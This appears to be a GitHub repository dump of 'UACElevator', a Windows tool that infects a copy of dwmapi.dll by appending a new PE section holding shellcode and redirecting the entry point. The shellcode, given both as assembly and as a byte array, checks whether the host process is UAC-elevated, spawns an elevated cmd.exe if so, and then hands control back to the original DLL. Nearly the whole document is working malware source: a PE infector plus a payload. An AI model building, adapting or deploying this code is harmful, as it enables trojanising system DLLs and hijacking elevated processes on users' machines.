├── README.md
└── UACElevator
├── UACElevator.sln
└── UACElevator
├── UACElevator.vcxproj.filters
├── UACElevator.vcxproj
├── shellcode.asm
└── UACElevator.cpp
/README.md:
--------------------------------------------------------------------------------
1 | UACElevator
2 | ===========
3 |
4 | Passive UAC elevation using dll infection
5 |
6 | The shellcode binary is in the shellcode[] char array in UACElevator.cpp and the raw code is in shellcode.asm
7 |
--------------------------------------------------------------------------------
/UACElevator/UACElevator.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2012
4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UACElevator", "UACElevator\UACElevator.vcxproj", "{454F1DC9-8CA5-4591-903B-525E76017EEE}"
5 | EndProject
6 | Global
7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
8 | Debug|Win32 = Debug|Win32
9 | Release|Win32 = Release|Win32
10 | EndGlobalSection
11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
12 | {454F1DC9-8CA5-4591-903B-525E76017EEE}.Debug|Win32.ActiveCfg = Debug|Win32
13 | {454F1DC9-8CA5-4591-903B-525E76017EEE}.Debug|Win32.Build.0 = Debug|Win32
14 | {454F1DC9-8CA5-4591-903B-525E76017EEE}.Release|Win32.ActiveCfg = Release|Win32
15 | {454F1DC9-8CA5-4591-903B-525E76017EEE}.Release|Win32.Build.0 = Release|Win32
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/UACElevator/UACElevator/UACElevator.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/UACElevator/UACElevator/UACElevator.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 |
14 | {454F1DC9-8CA5-4591-903B-525E76017EEE}
15 | Win32Proj
16 | UACElevator
17 |
18 |
19 |
20 | Application
21 | true
22 | v110
23 | Unicode
24 |
25 |
26 | Application
27 | false
28 | v110
29 | true
30 | Unicode
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 | true
44 |
45 |
46 | false
47 |
48 |
49 |
50 |
51 |
52 | Level3
53 | Disabled
54 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
55 |
56 |
57 | Console
58 | true
59 |
60 |
61 |
62 |
63 | Level3
64 |
65 |
66 | MaxSpeed
67 | true
68 | true
69 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
70 |
71 |
72 | Console
73 | true
74 | true
75 | true
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
--------------------------------------------------------------------------------
/UACElevator/UACElevator/shellcode.asm:
--------------------------------------------------------------------------------
1 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
2 | ;Shellcode will use functions from ntdll/kernel32 to check if process
3 | ;is UAC elevated and if so spawn elevated cmd.exe. Once complete
4 | ;control is passed back to the infected DLL so the application will
5 | ;contine to run normally.
6 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
7 | use32
8 | include 'win32ax.inc'
9 |
10 | TOKEN_QUERY equ 0x08
11 | TokenElevationType equ 0x12
12 | DLL_PROCESS_ATTACH equ 0x01
13 |
14 | ;Only run on dll load
15 | cmp dword [esp+0x08], DLL_PROCESS_ATTACH
16 | jnz ReturnToEntry
17 |
18 | pushad
19 | call RunCMD
20 | popad
21 |
22 | ReturnToEntry:
23 | jmp 0xDEADBEEF ;Will be modified to jump to original entry point
24 |
25 | proc RunCMD
26 | locals
27 | TokenHandle dd 0
28 | ElevationLevel dd ?
29 | ReturnSize dd ?
30 | Ntdll dd ?
31 | Kernel32 dd ?
32 | OpenProcToken dd ?
33 | QueryToken dd ?
34 | NtClose dd ?
35 | ExpandEnvStrs dd ?
36 | CreateProcess dd ?
37 | OpenProcTokenName db 'NtOpenProcessToken', 0
38 | QueryTokenName db 'NtQueryInformationToken', 0
39 | NtCloseName db 'NtClose', 0
40 | ExpandEnvStrsName db 'ExpandEnvironmentStringsA', 0
41 | CreateProcessName db 'CreateProcessA', 0
42 | StartupInfo db 68 dup(0)
43 | ProcessInfo PROCESS_INFORMATION
44 | FilePath db '%windir%\system32\cmd.exe', 0
45 | ExpandedFilePath db 256 dup(?)
46 |
47 | endl
48 | mov eax, [fs:0x30] ;Process Environment Block
49 | mov eax, [eax+0x0C] ;PEB->Ldr
50 | mov eax, [eax+0x14] ;PEB->Ldr.InLoadOrderModuleList
51 |
52 | mov eax, [eax] ;First Module (ntdll.dll)
53 | mov edx, [eax+0x10] ;BaseAddress
54 | mov [Ntdll], edx
55 |
56 | mov eax, [eax] ;Second Module (kernel32.dll)
57 | mov edx, [eax+0x10] ;BaseAddress
58 | mov [Kernel32], edx
59 |
60 | stdcall GetProcAddress, [Ntdll], addr OpenProcTokenName
61 | mov [OpenProcToken], eax
62 |
63 | stdcall GetProcAddress, [Ntdll], addr QueryTokenName
64 | mov [QueryToken], eax
65 |
66 | stdcall GetProcAddress, [Ntdll], addr NtCloseName
67 | mov [NtClose], eax
68 |
69 | stdcall GetProcAddress, [Kernel32], addr ExpandEnvStrsName
70 | mov [ExpandEnvStrs], eax
71 |
72 | stdcall GetProcAddress, [Kernel32], addr CreateProcessName
73 | mov [CreateProcess], eax
74 |
75 | stdcall [OpenProcToken], -1, TOKEN_QUERY, addr TokenHandle
76 |
77 | test eax, eax
78 | jnz failed
79 |
80 | ;ElevationLevel will be 3 for non-elevated and 2 for elevated
81 | stdcall [QueryToken], [TokenHandle], TokenElevationType, addr ElevationLevel, 4, addr ReturnSize
82 |
83 | test eax, eax
84 | jnz failed
85 |
86 | ;If ElevationLevel is not 2, then we were run from a non UAC elevated process
87 | cmp [ElevationLevel], 2
88 | jnz failed
89 |
90 | stdcall [ExpandEnvStrs], addr FilePath, addr ExpandedFilePath, 255
91 |
92 | stdcall [CreateProcess], 0, addr ExpandedFilePath, 0, 0, 0, 0, 0, 0, addr StartupInfo, addr ProcessInfo
93 |
94 | failed:
95 | cmp [TokenHandle], 0
96 | jz exit
97 |
98 | stdcall [NtClose], [TokenHandle]
99 |
100 | exit:
101 | mov esp, ebp
102 | pop ebp
103 | retn
104 | endp
105 |
106 | ;Simple GetProcAddress implementation without import forwarding
107 | proc GetProcAddress Module, Name
108 | locals
109 | AddressOfFunctions dd ?
110 | AddressOfNames dd ?
111 | AddressOfNameOrdinals dd ?
112 | endl
113 |
114 | mov eax, [Module]
115 | mov ecx, [eax+0x3C] ;IMAGE_DOS_HEADER.e_lfanew
116 | add ecx, eax ;IMAGE_NT_HEADERS
117 |
118 | cmp dword [ecx], 0x4550 ;IMAGE_NT_HEADERS.Signature
119 | jne GPAFailed
120 |
121 | lea edx, dword [ecx+0x78] ;IMAGE_NT_HEADERS.OptionalHeader.DataDirectory
122 | mov edx, dword [edx] ;IMAGE_DATA_DIRECTORY.VirtualAddress
123 | add edx, eax ;Calculate absolute address (Base+VirtualAddress)
124 |
125 | mov ecx, dword [edx+0x1C] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
126 | add ecx, eax ;Calculate absolute address (Base+AddressOfFunctions)
127 | mov [AddressOfFunctions], ecx
128 |
129 | mov ecx, dword [edx+0x20] ;IMAGE_EXPORT_DIRECTORY.AddressOfNames
130 | add ecx, eax ;Calculate absolute address (Base+AddressOfNames)
131 | mov [AddressOfNames], ecx
132 |
133 | mov ecx, dword [edx+0x24] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
134 | add ecx, eax ;Calculate absolute address (Base+AddressOfNameOrdinals)
135 | mov [AddressOfNameOrdinals], ecx
136 |
137 | xor ecx, ecx ;FunctionNumber
138 |
139 | NextExport:
140 | mov ebx, [AddressOfNames]
141 | mov ebx, [4*ecx+ebx] ;AddressOfNames[FunctionNumber]
142 | add ebx, eax ;Absolute address of function name
143 |
144 | push eax
145 |
146 | push ebx
147 | push dword [Name]
148 | call strcmp
149 | test eax, eax
150 |
151 | pop eax
152 | je GPASuccess ;These are the offsets we're looking for
153 |
154 | inc ecx ;FunctionNumber++
155 | cmp ecx, [edx+0x18] ;IMAGE_EXPORT_DIRECTORY.NumberOfNames (Is this the last func?)
156 | jne NextExport
157 | jmp GPAFailed
158 |
159 | GPASuccess:
160 | mov edx, [AddressOfNameOrdinals]
161 | movzx ebx, word [2*ecx+edx] ;Ordinal[FunctionNumber]
162 | mov ecx, [AddressOfFunctions]
163 | mov ebx, dword [4*ebx+ecx] ;AddressOfFunctions[Ordinal[FunctionNumber]]
164 | add eax, ebx ;Absolute address of function
165 |
166 | jmp GPAFinished
167 |
168 | GPAFailed:
169 | xor eax, eax
170 |
171 | GPAFinished:
172 | mov esp, ebp
173 | pop ebp
174 | ret 0x08
175 | endp
176 |
177 | proc strcmp String1, String2
178 | push esi
179 | push edi
180 | push ecx
181 |
182 | mov esi, [String1]
183 | mov edi, [String2]
184 | xor ecx, ecx
185 |
186 | StrcmpLoop:
187 | mov al, byte [edi+ecx]
188 | mov ah, byte [esi+ecx]
189 | and al,0xDF ;Case insensitive
190 | and ah,0xDF
191 | cmp al, ah
192 | jne StrcmpNotEqual
193 |
194 | cmp al, 0
195 | je StrcmpIsEqual
196 |
197 | inc ecx
198 | jmp StrcmpLoop
199 |
200 | StrcmpIsEqual:
201 | xor eax, eax
202 | jmp StrcmpEnd
203 |
204 | StrcmpNotEqual:
205 | mov eax, 1
206 |
207 | StrcmpEnd:
208 | pop ecx
209 | pop edi
210 | pop esi
211 |
212 | mov esp, ebp
213 | pop ebp
214 | ret 0x08
215 | endp
216 |
--------------------------------------------------------------------------------
/UACElevator/UACElevator/UACElevator.cpp:
--------------------------------------------------------------------------------
1 | /****************************************************************************************************
2 | This source is licensed under the MalwareTech Public License which gives you permission to use
3 | it freely as long as the code is replicated using a Hansen ball typewriter and compiled by hand.
4 | *****************************************************************************************************/
5 |
6 | #include
7 | #include
8 |
9 | CHAR shellcode[] = "\x83\x7C\x24\x08\x01\x75\x07\x60\xE8\x06\x00\x00\x00\x61\xE9\xDC\xBE\xAD\xDE\x55\x89\xE5\x81\xEC\xF4\x01\x00\x00\xC7\x85\x0C\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\x34\xFE\xFF\xFF\x4E\x74\x4F\x70\xC7\x85\x38\xFE\xFF\xFF\x65\x6E\x50\x72\xC7\x85\x3C\xFE\xFF\xFF\x6F\x63\x65\x73\xC7\x85\x40\xFE\xFF\xFF\x73\x54\x6F\x6B\x66\xC7\x85\x44\xFE\xFF\xFF\x65\x6E\xC6\x85\x46\xFE\xFF\xFF\x00\xC7\x85\x47\xFE\xFF\xFF\x4E\x74\x51\x75\xC7\x85\x4B\xFE\xFF\xFF\x65\x72\x79\x49\xC7\x85\x4F\xFE\xFF\xFF\x6E\x66\x6F\x72\xC7\x85\x53\xFE\xFF\xFF\x6D\x61\x74\x69\xC7\x85\x57\xFE\xFF\xFF\x6F\x6E\x54\x6F\x66\xC7\x85\x5B\xFE\xFF\xFF\x6B\x65\xC6\x85\x5D\xFE\xFF\xFF\x6E\xC6\x85\x5E\xFE\xFF\xFF\x00\xC7\x85\x5F\xFE\xFF\xFF\x4E\x74\x43\x6C\x66\xC7\x85\x63\xFE\xFF\xFF\x6F\x73\xC6\x85\x65\xFE\xFF\xFF\x65\xC6\x85\x66\xFE\xFF\xFF\x00\xC7\x85\x67\xFE\xFF\xFF\x45\x78\x70\x61\xC7\x85\x6B\xFE\xFF\xFF\x6E\x64\x45\x6E\xC7\x85\x6F\xFE\xFF\xFF\x76\x69\x72\x6F\xC7\x85\x73\xFE\xFF\xFF\x6E\x6D\x65\x6E\xC7\x85\x77\xFE\xFF\xFF\x74\x53\x74\x72\xC7\x85\x7B\xFE\xFF\xFF\x69\x6E\x67\x73\xC6\x85\x7F\xFE\xFF\xFF\x41\xC6\x85\x80\xFE\xFF\xFF\x00\xC7\x85\x81\xFE\xFF\xFF\x43\x72\x65\x61\xC7\x85\x85\xFE\xFF\xFF\x74\x65\x50\x72\xC7\x85\x89\xFE\xFF\xFF\x6F\x63\x65\x73\x66\xC7\x85\x8D\xFE\xFF\xFF\x73\x41\xC6\x85\x8F\xFE\xFF\xFF\x00\xC7\x85\x90\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\x94\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\x98\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\x9C\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xA0\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xA4\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xA8\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xAC\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xB0\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xB4\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xB8\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xBC\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xC0\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xC4\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xC8\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xCC\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xD0\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xE4\xFE\xFF\xFF\x25\x77\x69\x6E\xC7\x85\xE8\xFE\xFF\xFF\x64\x69\x72\x25\xC7\x85\xEC\xFE\xFF\xFF\x5C\x73\x79\x73\xC7\x85\xF0\xFE\xFF\xFF\x74\x65\x6D\x33\xC7\x85\xF4\xFE\xFF\xFF\x32\x5C\x63\x6D\xC7\x85\xF8\xFE\xFF\xFF\x64\x2E\x65\x78\xC6\x85\xFC\xFE\xFF\xFF\x65\xC6\x85\xFD\xFE\xFF\xFF\x00\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x50\x10\x89\x95\x18\xFE\xFF\xFF\x8B\x00\x8B\x50\x10\x89\x95\x1C\xFE\xFF\xFF\x8D\x95\x34\xFE\xFF\xFF\x52\xFF\xB5\x18\xFE\xFF\xFF\xE8\x01\x01\x00\x00\x89\x85\x20\xFE\xFF\xFF\x8D\x95\x47\xFE\xFF\xFF\x52\xFF\xB5\x18\xFE\xFF\xFF\xE8\xE9\x00\x00\x00\x89\x85\x24\xFE\xFF\xFF\x8D\x95\x5F\xFE\xFF\xFF\x52\xFF\xB5\x18\xFE\xFF\xFF\xE8\xD1\x00\x00\x00\x89\x85\x28\xFE\xFF\xFF\x8D\x95\x67\xFE\xFF\xFF\x52\xFF\xB5\x1C\xFE\xFF\xFF\xE8\xB9\x00\x00\x00\x89\x85\x2C\xFE\xFF\xFF\x8D\x95\x81\xFE\xFF\xFF\x52\xFF\xB5\x1C\xFE\xFF\xFF\xE8\xA1\x00\x00\x00\x89\x85\x30\xFE\xFF\xFF\x8D\x95\x0C\xFE\xFF\xFF\x52\x6A\x08\x6A\xFF\xFF\x95\x20\xFE\xFF\xFF\x85\xC0\x75\x6D\x8D\x95\x14\xFE\xFF\xFF\x52\x6A\x04\x8D\x95\x10\xFE\xFF\xFF\x52\x6A\x12\xFF\xB5\x0C\xFE\xFF\xFF\xFF\x95\x24\xFE\xFF\xFF\x85\xC0\x75\x4B\x83\xBD\x10\xFE\xFF\xFF\x02\x75\x42\x68\xFF\x00\x00\x00\x8D\x95\xFE\xFE\xFF\xFF\x52\x8D\x95\xE4\xFE\xFF\xFF\x52\xFF\x95\x2C\xFE\xFF\xFF\x8D\x95\xD4\xFE\xFF\xFF\x52\x8D\x95\x90\xFE\xFF\xFF\x52\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x8D\x95\xFE\xFE\xFF\xFF\x52\x6A\x00\xFF\x95\x30\xFE\xFF\xFF\x83\xBD\x0C\xFE\xFF\xFF\x00\x74\x0C\xFF\xB5\x0C\xFE\xFF\xFF\xFF\x95\x28\xFE\xFF\xFF\x89\xEC\x5D\xC3\x55\x89\xE5\x83\xEC\x0C\x8B\x45\x08\x8B\x48\x3C\x01\xC1\x81\x39\x50\x45\x00\x00\x75\x51\x8D\x51\x78\x8B\x12\x01\xC2\x8B\x4A\x1C\x01\xC1\x89\x4D\xF4\x8B\x4A\x20\x01\xC1\x89\x4D\xF8\x8B\x4A\x24\x01\xC1\x89\x4D\xFC\x31\xC9\x8B\x5D\xF8\x8B\x1C\x8B\x01\xC3\x50\x53\xFF\x75\x0C\xE8\x26\x00\x00\x00\x85\xC0\x58\x74\x08\x41\x3B\x4A\x18\x75\xE3\xEB\x11\x8B\x55\xFC\x0F\xB7\x1C\x4A\x8B\x4D\xF4\x8B\x1C\x99\x01\xD8\xEB\x02\x31\xC0\x89\xEC\x5D\xC2\x08\x00\x55\x89\xE5\x56\x57\x51\x8B\x75\x08\x8B\x7D\x0C\x31\xC9\x8A\x04\x0F\x8A\x24\x0E\x24\xDF\x80\xE4\xDF\x38\xE0\x75\x0B\x3C\x00\x74\x03\x41\xEB\xEA\x31\xC0\xEB\x05\xB8\x01\x00\x00\x00\x59\x5F\x5E\x89\xEC\x5D\xC2\x08\x00";
10 |
11 | BOOL LoadModuleBytes(CHAR *ModulePath, LPVOID *OutputBuffer, PDWORD BufferSize)
12 | {
13 | DWORD FileSize, BytesRead = 0;
14 | LPVOID FileBuffer = NULL;
15 | HANDLE FileHandle = INVALID_HANDLE_VALUE;
16 | BOOL success = FALSE;
17 |
18 | do //not a loop
19 | {
20 | FileHandle = CreateFileA(ModulePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
21 | if(FileHandle == INVALID_HANDLE_VALUE)
22 | break;
23 |
24 | FileSize = GetFileSize(FileHandle, NULL);
25 |
26 | FileBuffer = malloc(FileSize);
27 | if(!FileBuffer)
28 | break;
29 |
30 | ReadFile(FileHandle, FileBuffer, FileSize, &BytesRead, NULL);
31 |
32 | if(BytesRead != FileSize)
33 | break;
34 |
35 | *BufferSize = FileSize;
36 | *OutputBuffer = FileBuffer;
37 |
38 | success = TRUE;
39 |
40 | } while (FALSE);
41 |
42 | if(FileHandle != INVALID_HANDLE_VALUE)
43 | CloseHandle(FileHandle);
44 |
45 | if(success == FALSE && FileBuffer != NULL)
46 | free(FileBuffer);
47 |
48 | return success;
49 | }
50 |
51 | BOOL SaveModuleBytes(CHAR *ModulePath, LPVOID SaveBuffer, DWORD BufferSize)
52 | {
53 | DWORD BytesWritten = 0;
54 |
55 | HANDLE FileHandle = CreateFileA(ModulePath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, NULL, NULL);
56 | if(FileHandle == INVALID_HANDLE_VALUE)
57 | return FALSE;
58 |
59 | WriteFile(FileHandle, SaveBuffer, BufferSize, &BytesWritten, NULL);
60 | CloseHandle(FileHandle);
61 |
62 | if(BytesWritten != BufferSize)
63 | return FALSE;
64 |
65 | return TRUE;
66 | }
67 |
68 | /*
69 | Adds an extra section to the end of the module and redirect the entry point to call shellcode
70 | Note: We don't allocate space in PE for our new section's header as directly after the section
71 | headers is the bound imports directory, which isn't required for the executable to work and can
72 | simply be disabled.
73 | */
74 | BOOL InfectModule(CHAR *ModulePath, CHAR *DestinationPath)
75 | {
76 | LPVOID PEBuffer = NULL, NewPEBuffer = NULL;
77 | DWORD PESize, NewPESize, SectionSize, remainder, ImageSize, VirtualAddress;
78 | PIMAGE_NT_HEADERS NtHeader;
79 | PIMAGE_SECTION_HEADER NewSection, LastSection;
80 | PIMAGE_DOS_HEADER DosHeader;
81 | BOOL success = FALSE;
82 |
83 | do //Not a loop
84 | {
85 | if(!LoadModuleBytes(ModulePath, &PEBuffer, &PESize))
86 | {
87 | printf("Couldn't load module %s\n", ModulePath);
88 | return FALSE;
89 | }
90 |
91 | DosHeader = (PIMAGE_DOS_HEADER)PEBuffer;
92 |
93 | if(DosHeader->e_magic != IMAGE_DOS_SIGNATURE)
94 | {
95 | printf("File is not a valid portable executable\n");
96 | break;
97 | }
98 |
99 | NtHeader = (PIMAGE_NT_HEADERS)(DosHeader->e_lfanew + (DWORD)PEBuffer);
100 |
101 | if(NtHeader->Signature != IMAGE_NT_SIGNATURE)
102 | {
103 | printf("File is not a valid portable executable\n");
104 | break;
105 | }
106 |
107 | //Section size must be a multiple of FileAlignment
108 | remainder = sizeof(shellcode) % NtHeader->OptionalHeader.FileAlignment;
109 | if(remainder != 0)
110 | SectionSize = sizeof(shellcode) + (NtHeader->OptionalHeader.FileAlignment - remainder);
111 |
112 | //SizeOfImage won't work as it's the size of image in memory, not on disk
113 | NewPESize = SectionSize + PESize;
114 |
115 | NewPEBuffer = malloc(NewPESize);
116 | if(!NewPESize)
117 | {
118 | printf("Failed to allocate memory for new PE buffer\n");
119 | break;
120 | }
121 |
122 | memcpy(NewPEBuffer, PEBuffer, PESize);
123 |
124 | DosHeader = (PIMAGE_DOS_HEADER)NewPEBuffer;
125 | NtHeader = (PIMAGE_NT_HEADERS)((DWORD)NewPEBuffer + DosHeader->e_lfanew);
126 |
127 | LastSection = &IMAGE_FIRST_SECTION(NtHeader)[NtHeader->FileHeader.NumberOfSections-1];
128 | NewSection = &IMAGE_FIRST_SECTION(NtHeader)[NtHeader->FileHeader.NumberOfSections];
129 |
130 | memset(NewSection, 0, sizeof(IMAGE_SECTION_HEADER));
131 | memcpy(NewSection->Name, ".mwt", 4);
132 |
133 | //VirtualAddress should be aligned on section boundary
134 | VirtualAddress = LastSection->VirtualAddress + LastSection->Misc.VirtualSize;
135 | remainder = VirtualAddress % NtHeader->OptionalHeader.SectionAlignment;
136 | if(remainder != 0)
137 | VirtualAddress = VirtualAddress + (NtHeader->OptionalHeader.SectionAlignment - remainder);
138 |
139 | //The section will be located directly after the previous section on disk and in memory
140 | NewSection->VirtualAddress = VirtualAddress;
141 | NewSection->PointerToRawData = LastSection->PointerToRawData + LastSection->SizeOfRawData;
142 | NewSection->SizeOfRawData = SectionSize;
143 | NewSection->Misc.VirtualSize = sizeof(shellcode);
144 | NewSection->Characteristics = (IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ);
145 |
146 | //New SizeOfImage must include the section we added and be a multiple of SectionAlignment
147 | ImageSize = NtHeader->OptionalHeader.SizeOfImage + SectionSize + (NtHeader->OptionalHeader.SectionAlignment - remainder);
148 | remainder = ImageSize % NtHeader->OptionalHeader.SectionAlignment;
149 | if(remainder != 0)
150 | ImageSize = ImageSize + (NtHeader->OptionalHeader.SectionAlignment - remainder);
151 |
152 | NtHeader->OptionalHeader.SizeOfImage = ImageSize;
153 | NtHeader->FileHeader.NumberOfSections++;
154 |
155 | //Our new section header overlaps the Bound Import Directory, but we can disable it because it's not required
156 | NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
157 | NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
158 |
159 | //point the entry point to our shellcode and modify the return jump to jump back to the original entry point
160 | *(DWORD*)(shellcode+15) = (DWORD)(NtHeader->OptionalHeader.AddressOfEntryPoint - (NewSection->VirtualAddress+14) - 5);
161 | NtHeader->OptionalHeader.AddressOfEntryPoint = NewSection->VirtualAddress;
162 |
163 | memcpy((LPVOID)((DWORD)NewPEBuffer+NewSection->PointerToRawData), shellcode, sizeof(shellcode));
164 |
165 | if(!SaveModuleBytes(DestinationPath, NewPEBuffer, NewPESize))
166 | {
167 | printf("Could not save module to %s\n", DestinationPath);
168 | break;
169 | }
170 |
171 | printf("SUCCESS!\n" \
172 | "Infection module: %s\n" \
173 | "New Section VirtualSize: %X\n" \
174 | "New Section Size On Disk: %X\n" \
175 | "New SizeOfImage: %X\n",
176 | DestinationPath, sizeof(shellcode), SectionSize, ImageSize
177 | );
178 |
179 | success = TRUE;
180 |
181 | } while (FALSE);
182 |
183 | if(PEBuffer)
184 | free(PEBuffer);
185 |
186 | if(NewPEBuffer)
187 | free(NewPEBuffer);
188 |
189 | return success;
190 | }
191 |
192 | int main()
193 | {
194 | CHAR ModulePath[MAX_PATH], InfectedModulePath[MAX_PATH];
195 | ExpandEnvironmentStringsA("%windir%\\system32\\dwmapi.dll", ModulePath, MAX_PATH-1);
196 | ExpandEnvironmentStringsA("%userprofile%\\Downloads\\dwmapi.dll", InfectedModulePath, MAX_PATH-1);
197 | InfectModule(ModulePath, InfectedModulePath);
198 | getchar();
199 | }
--------------------------------------------------------------------------------